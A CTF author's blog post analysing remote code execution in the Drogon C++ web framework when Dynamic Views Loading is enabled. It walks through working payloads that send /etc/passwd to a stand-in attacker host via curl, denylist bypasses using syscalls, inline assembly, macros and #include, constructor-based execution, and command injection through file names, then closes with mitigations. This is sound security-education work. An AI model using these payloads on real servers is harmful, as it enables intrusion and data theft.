Dynamic Views Loading – Abusing Server Side Rendering in Drogon

What could go wrong releasing a C++ web server with "live reload" into the wild?


Dynamic Views Loading – Abusing Server Side Rendering in Drogon

Earlier this month, I released two CTF web challenges for CrewCTF 2024: Nice View 1 and Nice View 2. These build upon an earlier challenge — an audio synthesis web service running on the Drogon Web Framework. This time, our focus shifts from exploring zip attacks in Juce to exploring an alarming configuration in Drogon: Dynamic Views Loading (hereafter abbreviated DVL).

In a hypothetical situation where a Drogon server with DVL is exposed to hackers, how many holes can be poked? What attack vectors can be achieved?1

At the same time, this is also a good exercise in defensive programming. If we released such a server, what (programming) defences are necessary to cover our sorry arse? When and where should we apply sanitisation and filtering? How do we properly allow “safe” programs? Is that even possible to begin with?

This turned out to be a fascinating endeavour, as there happen to be a ton of ways to compromise a vulnerable DVL-enabled server. In the making of the CTF challenges, I struggled to eliminate every single unintended solution.

Every time I find an unintended solution, a new one is just around the corner.

Every time I find an unintended solution, a new one is just around the corner.

Drogon Redux

Drogon is a C++ web framework built with C++17, containing a whole slew of features such as session handling, server side rendering, and websockets — features you would expect in a modern web framework.

Drogon's server side rendering is handled by CSP views (C++ Server Pages). Similar to ASP, JSP, PHP, and other HTML templates, these files are sprinkled with special markup such as <%inc ... %>, <%c++ ... %>, and {% ... %}, which are evaluated when rendered.

Simple View Example

Here's a simple example of a CSP:

<!DOCTYPE html>
<html>
<body>
<%c++ if (true) { %>
    <h1>Hi [[ name ]]</h1>
<%c++ } else { %>
    <h1>Bye [[ name ]]</h1>
<%c++ } %>
</body>
</html>
Example.csp
C++ Server Pages

We can specify C++ control-flow logic with <%c++ ... %> and substitute variables with [[ ... ]].

To render this file, we'll call newHttpViewResponse and pass a name from the URL endpoint:

app().registerHandler(
    "/hello/{}",
    [](const HttpRequestPtr& req, std::function<void(const HttpResponsePtr&)>&& callback, const std::string& name) {
        HttpViewData data;
        data.insert("name", name);
        auto resp = HttpResponse::newHttpViewResponse("Example.csp", data);
        callback(resp);
    });
main.cpp
C++

After starting the server, we can run curl 127.0.0.1:8080/hello/Picard and observe the following HTML:

<!DOCTYPE html>
<html>
<body>
    <h1>Hi Picard</h1>
</body>
</html>
HTML

Why Use Dynamic Views?

This is all very nice, until our application becomes a gargantuan, unwieldy mess. What if we want to fine-tune some HTML? Each minor change takes a full minute to recompile. Dynamically-typed, scripting languages with hot-reload suddenly look more appealing.

To address this, Drogon supports dynamic loading of views. New CSP files added to a target directory will be automagically compiled and loaded. To enable Dynamic Views Loading, we can add the following lines to our JSON configuration:

"load_dynamic_views": true,
"dynamic_views_path": ["./views/d"],
JSON

or use the C++ equivalent:

app().enableDynamicViewsLoading({"./views/d"}, "./views/d");
C++

Drogon will then actively monitor the file path for new/modified .csp files.

Dynamic Views: Compilation and Loading

How do dynamic views work in Drogon?

After all, C++ is compiled, not interpreted.

But it's possible to load compiled code at runtime through shared objects. These are specially-compiled files which can be loaded on-the-fly. In Drogon, the process goes like so:

Flow Chart of Dynamic Views Loading

Flow Chart of Dynamic Views Loading

  1. The user writes a .csp file to the dynamic view path. The rest is up to Drogon.
  2. Drogon detects the new/modified .csp files.
  3. Drogon translates the .csp to a regular C++ .h and .cc file, using the drogon_ctl command-line tool.
  4. The .cc is compiled into a shared object (.so) using the -shared flag.
  5. The .so is loaded with dlopen, after previous versions are unloaded with dlclose.2
  6. The new/updated view can now be used in application code.

All of this happens in SharedLibManager.cc. Feel free to take a gander.

From CSP Markup to C++

Another natural question to ask is: how is CSP markup converted in C++ source code and compiled?

This is quite an important question, since it affects how we can inject code, and the defensive measures needed. We can analyse this by running...

drogon_ctl create view Example.csp
Shell

which generates Example.h and Example.cc.

  • <%c++ ... %> - content inside this tag is inserted into a genText() function.

    <h1>Example</h1>
    <%c++ int a = 40 + 2; $$ << a; %>
    <h2>Hello world!</h2>
    Example.csp
    C++ Server Pages
    // Boilerplate: includes...
    using namespace drogon;
    std::string Example::genText(const DrTemplateData& Example_view_data)
    {
        drogon::OStringStream Example_tmp_stream;
        std::string layoutName{""};
        Example_tmp_stream << "<h1>Example</h1>\n";
        int a = 40 + 2; Example_tmp_stream << a; 
        Example_tmp_stream << "<h2>Hello world!</h2>\n";
        // Boilerplate: convert stream to string and return...
    }
    Example.cc
    C++

    Example_tmp_stream is a stringstream used to prepare the final HTML. Eventually, it gets converted to a string and returned.

  • {% ... %} - equivalent to <%c++ $$ << ... %>, it just echoes the expression. The closing %} must be on the same line as the opening {%.

  • <%inc ... %> - meant for including additional libraries. Code is placed in file-level scope.

    <%inc
    #include <algorithm>
    #define MY_MACRO
    void my_function() {}
    %>
    <h1>Example</h1>
    Example.csp
    C++ Server Pages
    // Boilerplate: includes...
    #include <algorithm>
    #define MY_MACRO
    void my_function() {}
    
    using namespace drogon;
    std::string Example::genText(const DrTemplateData& Example_view_data)
    {
        drogon::OStringStream Example_tmp_stream;
        std::string layoutName{""};
        Example_tmp_stream << "<h1>Example</h1>\n";
        // Boilerplate: convert stream to string and return...
    }
    Example.cc
    C++
  • [[ ... ]] - for inserting data passed from application code.

    <h1>Hi [[name]]!</h1>
    Example.csp
    C++ Server Pages
    // ...
    Example_tmp_stream << "<h1>Hi ";
    {
        auto & val=Example_view_data["name"];
        if(val.type()==typeid(const char *)){
            Example_tmp_stream<<*(std::any_cast<const char *>(&val));
        }else if(val.type()==typeid(std::string)||val.type()==typeid(const std::string)){
            Example_tmp_stream<<*(std::any_cast<const std::string>(&val));
        }
    }
    Example_tmp_stream << "!</h1>\n";
    // ...
    Example.cc
    C++

Attack Vectors

There are countless attack vectors to address.

  1. RCE via Rendered CSP. First, we'll start by looking at a simple PoC which triggers RCE when the view is rendered.
  2. Bypasses. We'll survey common functions and tricks to bypass a denylist.
  3. RCE via Init Section. Here, we'll trigger RCE without rendering the view.
  4. RCE via File Name. Finally, we'll discuss a harrowing insecurity in the DVL code path.

Not all of these were exploitable in my CTF chals. I selected a few vectors which I thought were interesting.

1. RCE via Rendered CSP

Suppose an attacker can write any CSP content in the dynamic views path. In the simplest case where filtering or checking is non-existent, the attacker can execute malicious commands using the usual system and execve functions found in libc. This allows us to exfiltrate sensitive information and launch reverse shells.

<%c++
    system("curl http://attacker.site --data @/etc/passwd");
%>
Example.csp
C++ Server Pages

To trigger this RCE, the application code needs to render the view with HttpResponse::newHttpViewResponse("Example.csp").

The following diagram shows where code execution occurs along the pipeline. We'll update the diagram as we explore other vectors.

Vanilla RCE with Drogon DVL: we can execute code with `<%c++`.

A simple and direct method of abusing CSPs. Execution occurs when the view is rendered, e.g. by calling newHttpViewResponse.

2. Bypassing Simple Denylists

If the loophole resides in a few key functions, can't we simply block those functions?

No. This is extremely difficult in a diverse language such as C++. Not only does it have its own language features and standard library; but it also inherits most of C's baggage. There are many ways to bypass a denylist. As such, a sufficiently secure denylist will either be exhaustively long or severely limiting.

This goes to show how denylists (blacklists) are generally discouraged from a security PoV, as it's difficult to account for all methods of bypass. In the case of programming languages, however, allowlists (whitelists) are also difficult to construct, as limiting ourselves to a set of tokens severely constrict the realm of possible CSP programs, and may hinder development.3

The only solution, really, is to not enable DVLs. More on mitigations later.

A sufficient denylist needs to consider the following approaches, similar to any C/C++ denylist-bypass challenge. The actual denylist has been left as an exercise for the reader.

File Read/Write with fstream, fopen

<%inc
#include <fstream>
#include <sstream>
%>
<%c++
    std::ifstream ifs{"/etc/passwd"};
    if (ifs.is_open()) {
        $$ << ifs.rdbuf();
    } else {
        $$ << "Failed to open file.";
    }
%>
C++ Server Pages

File Read/Write with open, read

If high-level file IO isn't an option, we could always resort to the lower-level Linux functions.

<%inc
#include <unistd.h>
%>
<%c++
    char buffer[99] = {};
    read(open("/etc/passwd", 0), buffer, 99);
    $$ << buffer;
%>
C++ Server Pages

File Read/Write, RCE with syscall

We can go one level deeper using the syscall() function. This allows us to call the usual open, read, write, execve syscalls, albeit less readably.

<%inc
#include <unistd.h>
%>
<%c++
    char buffer[99] = {};
    syscall(0, syscall(2, "/etc/passwd", 0       ), buffer, 99);
//  read(      open(      "/etc/passwd", O_RDONLY), buffer, 99);
    $$ << buffer;
%>
C++ Server Pages

Thanks to syscall 59, we can also run execve to achieve RCE.

<%inc
#include <unistd.h>
%>
<%c++
    const char* argv[] = {
        "/usr/bin/curl",
        "http://attacker.site",
        "--data",
        "@/etc/passwd",
        NULL
    };
    syscall(59, "/usr/bin/curl", argv, 0);
%>
C++ Server Pages

Handy Reference: Linux x86 Syscalls - filippo.io

File Read with mmap

After opening and creating a file descriptor via open or syscall(2, ...), we can also use mmap to perform a read instead of the usual read.

<%inc
#include <unistd.h>
#include <sys/mman.h>
%>
<%c++
    $$ << (char*)mmap(NULL, 99, 1, 2, syscall(2,"/etc/passwd", 0), 0);
    // mmap(addr, length, memory_protection, flags, fd, offset)
%>
C++ Server Pages

File Read/Write, RCE via Inline Assembly

Pretty much any syscall in C can be translated to assembly, and GCC's extended assembly makes it convenient to pass input and output.

The following CSP opens and reads /etc/passwd into a buffer, then outputs it. This is equivalent to the open-read idiom we used above.

<%c++
    char file[] = "/etc/passwd", buffer[256] = {0};
    asm(R"(
        mov $2, %%rax;
        lea (%0), %%rdi;
        mov $0, %%rsi;
        syscall;
        
        mov %%rax, %%rdi;
        mov $0, %%rax;
        lea (%1), %%rsi;
        mov $255, %%rdx;
        syscall
    )"
        : : "b" ( file ), "d" ( buffer )
    );
    $$ << buffer;
%>
C++ Server Pages

"b" ( file ) and "d" ( buffer ) are inputs to our asm procedure. The letters b and d refer to the %rbx and %rdx register. I chose these registers specifically to avoid conflicts. (%rax gets written with 2 on the first line, %rcx gets overwritten by the first syscall.)

Exercises for the reader:

  • Try to figure out how the assembly maps to the C syscalls in the previous sections.
  • buffer is technically an output, so why do we treat it as an input?
  • Demonstrate RCE by using the execve syscall.

Blocking the keyword syscall will not work here. We can bypass it with a simple sys" "call, since adjacent strings are concatenated in C/C++ ("a" "b" == "ab"). To properly block such calls, we would need to block the functions invoking inline assembly, such as asm.

Handy Reference: Using Inline Assembly in C/C++

Local File Inclusion with #include

Filters applied to a set of file extensions can be easily bypassed by uploading a file with an unfiltered extension, then #include-ing it in the CSP. All #include really does is copy-paste the included file's content, which then gets compiled as C/C++ code.

  • Example.csp - with stringent checks on denied words.

    <%inc #include "safe.txt" %>
    Example.csp
    C++ Server Pages
  • safe.txt - other C++ code which gets a free pass, possibly using a technique above.

    system("curl http://attacker.site --data @/etc/passwd");
    safe.txt
    C++

This allows us to bypass situations where, say, .csp files are strictly checked, but certain extensions are not checked at all.

I'll admit this one slipped my mind; quite a few players discovered this unintended solution during the CTF.

Bypass Denylists with Macro Token Concatenation (##)

C/C++ macros have some quirky features:

  • #: Converts a macro argument's value to a string.

    #define STR(X) #X
    // STR(abc) == "abc"
    C++
  • ##: Joins two arguments.

    #define GLUE(X, Y) X ## Y
    GLUE(c, out) << "hello world!" << GLUE(e, ndl); // cout << "hello world!" << endl;
    
    #define GLUE2(X) X ## _literally
    int GLUE2(var) = 1; // int var_literally = 1;
    C++

The second feature allows us to bypass denylists which only match full words.

For instance, if a denylist blocks system, we can do GLUE(s, ystem).

<%inc #define GLUE(X, Y) X ## Y %>
<%c++
    GLUE(s, ystem)("curl http://attacker.site --data @/etc/passwd");
%>
C++ Server Pages

3. RCE via Init Section

The previous tricks use <%c++ which only executes when the view is rendered. But what if I told you we can execute code without even rendering the view?

That's right, all we need is to load the .so to execute code!

Code can be executed right after loading the .so binary.

Using <%c++ will execute code when "View is Rendered", but by strategically placing code in the .init section of the binary, we can get code to execute right after loading the .so!

Let's look at a few examples of how we can achieve this tomfoolery.

Init Section via <%inc

There are various ways to run code prior to main(). We can make use of the fact that <%inc places code in file scope.

<%inc
// 1. Assign variable with function call.
int a = system("curl http://attacker.site --data @/etc/passwd");

// 2. To run more code, we can create a function first.
int foo() {
    return system("curl http://attacker.site --data @/etc/passwd");
}
int b = foo();

// 3. GCC attributes - gets called automatically.
__attribute__((constructor))
void bar() {
    system("curl http://attacker.site --data @/etc/passwd");
}
%>
C++ Server Pages

When compiled, all of this is placed in the .init_array section, which allows multiple function pointers to be called during initialisation.

Escaping Function Scope with <%c++ and [[

Blocking <%inc is not enough. Even with <%c++ and [[, it is possible to escape function scope and insert a function in the top-level. This is partly by-design, so that like PHP, we can use C++ if-statements and for-loops to dynamically generate HTML. But we can also abuse this to escape the genText() function.

We demonstrate this with the following CSP:

<%c++ 
} 
__attribute__((constructor)) void injected()
{
    system("curl http://attacker.site --data @/etc/passwd");
}
std::string dummy(const DrTemplateData&)
{
    drogon::OStringStream Example_tmp_stream;
    std::string layoutName{""};
%>
Example.csp
C++ Server Pages

and here's the generated C++:

// Boilerplate: includes...
std::string Example::genText(const DrTemplateData& Example_view_data)
{
    drogon::OStringStream Example_tmp_stream;
    std::string layoutName{""};
 
} 
__attribute__((constructor)) void injected()
{
    system("curl http://attacker.site --data @/etc/passwd");
}
std::string dummy(const DrTemplateData&)
{
    drogon::OStringStream Example_tmp_stream;
    std::string layoutName{""};
    // Boilerplate: convert stream to string and return....
Example.cc
C++

The same idea goes for variable markup [[...]], the only difference being whitespace is not allowed.

<h1>Hi [[name"];}}__attribute__((constructor))void/**/injected(){system("...");}std::string/**/dummy(const/**/DrTemplateData&data){drogon::OStringStream/**/Example_tmp_stream;std::string/**/layoutName{""};{auto&val=data["]]</h1>
C++ Server Pages

Likewise for <%layout and <%view. (Left as an exercise for the reader.)


Thought that was the worst we could do? It gets worse.

4. RCE via File Name

Remember how Drogon runs drogon_ctl to convert .csp files to .cc files? Guess how this command is run.

That’s right, system() is called. And since the CSP file name can be pretty much anything — subject to Linux’s file path conditions — we can inject arbitrary commands and achieve RCE!

Malicious code can be executed when `drogon_ctl` is run using the filename.

Additionally, our command can contain slashes, since Drogon recursively scans subdirectories. A file named foo$(curl attacker.site/abcd) will be treated as a folder (foo$(curl attacker.site/) + a file (abcd)).

Takeaways and Mitigations

Although this was meant for a couple fun 48-hour CTF challenges, it feels appropriate to close with some tips on defence.

So what did we learn?

  1. Drogon, at the moment, does not sandbox or properly sanitise CSP content.4 This is by design, since CSPs inherently contain trusted content.
  2. There are three main ways to achieve RCE on a DVL-enabled Drogon server. And this comes with the prerequisite of file-write privileges.
    1. RCE via Rendered CSP
    2. RCE via Init Section
    3. RCE via File Name
  3. Denylists need to consider a wide range of bypass methods.

And mitigations?

  1. Don't enable Dynamic Views Loading, unless you're in a local dev environment. Switch off DVL after using.
  2. Don't allow untrusted input to be compiled and loaded as views; statically or dynamically.
  3. Protecc your dynamic views directory. Don't allow untrusted files to be written there.
    • It doesn't matter if the view will be rendered in application code, because — as we discovered earlier — once drogon_ctl is run, an RCE endpoint is already exposed.
  4. If, on the off chance, your environment accepts untrusted CSP files, you should consider using some filtering/denylist mechanism.
    • If filtering is performed, it should happen before files are written to the dynamic views directory. Once files are written, it's too late: Drogon kicks in and devours the CSP. Defensive filtering, if any, should occur before CSP files are written.

    Defensive filtering, if any, should occur before CSP files are written.

Do I expect the RCE issues to be fixed? Considering the purpose of DVLs... probably not. Judging by the maintainer's stance, DVLs are purely meant for development:

Note: This feature is best used to adjust the HTML page during the development phase. In the production environment, it is recommended to compile the csp file directly into the target file. This is mainly for security and stability. (Source)

Conclusion

Although Dynamic Views Loading (DVL) seems appealing for implementing features such as user-generated content or dynamically adding plugins, DVL is a dangerous liability if left in the open. In this post, we've demonstrated multiple ways to exploit DVL, given file-write privileges. DVL is ill-suited for production-use and should only be used for its intended purpose — local testing in development environments.

Dragon's Back in Hong Kong Island. Photo credit: Hong Kong Tourism Board.

Nice View: the Dragon's Back Hiking Trail in Hong Kong Island.


Footnotes
  1. This situation may be less hypothetical than we think. According to Shodan, there are over 1000 servers around the world running Drogon. How many do you think were poorly configured, with devs thinking… “I’ll just enable Dynamic Views Loading for convenience. Nobody can find my IP anyway.” I’m willing to bet there’s at least 1. ↩︎

  2. dlopen seems to only be available on Unix-like machines. ↩︎

  3. Whitelisting a program's AST could prove effective, but this requires us to first generate an AST — a non-trivial problem. ↩︎

  4. At the time of writing, I'm using Drogon version 1.9.1. ↩︎


Share on



Comments are back! Privacy-focused, without ads, bloatware, and trackers. Be one of the first to contribute to the discussion — I'd love to hear your thoughts.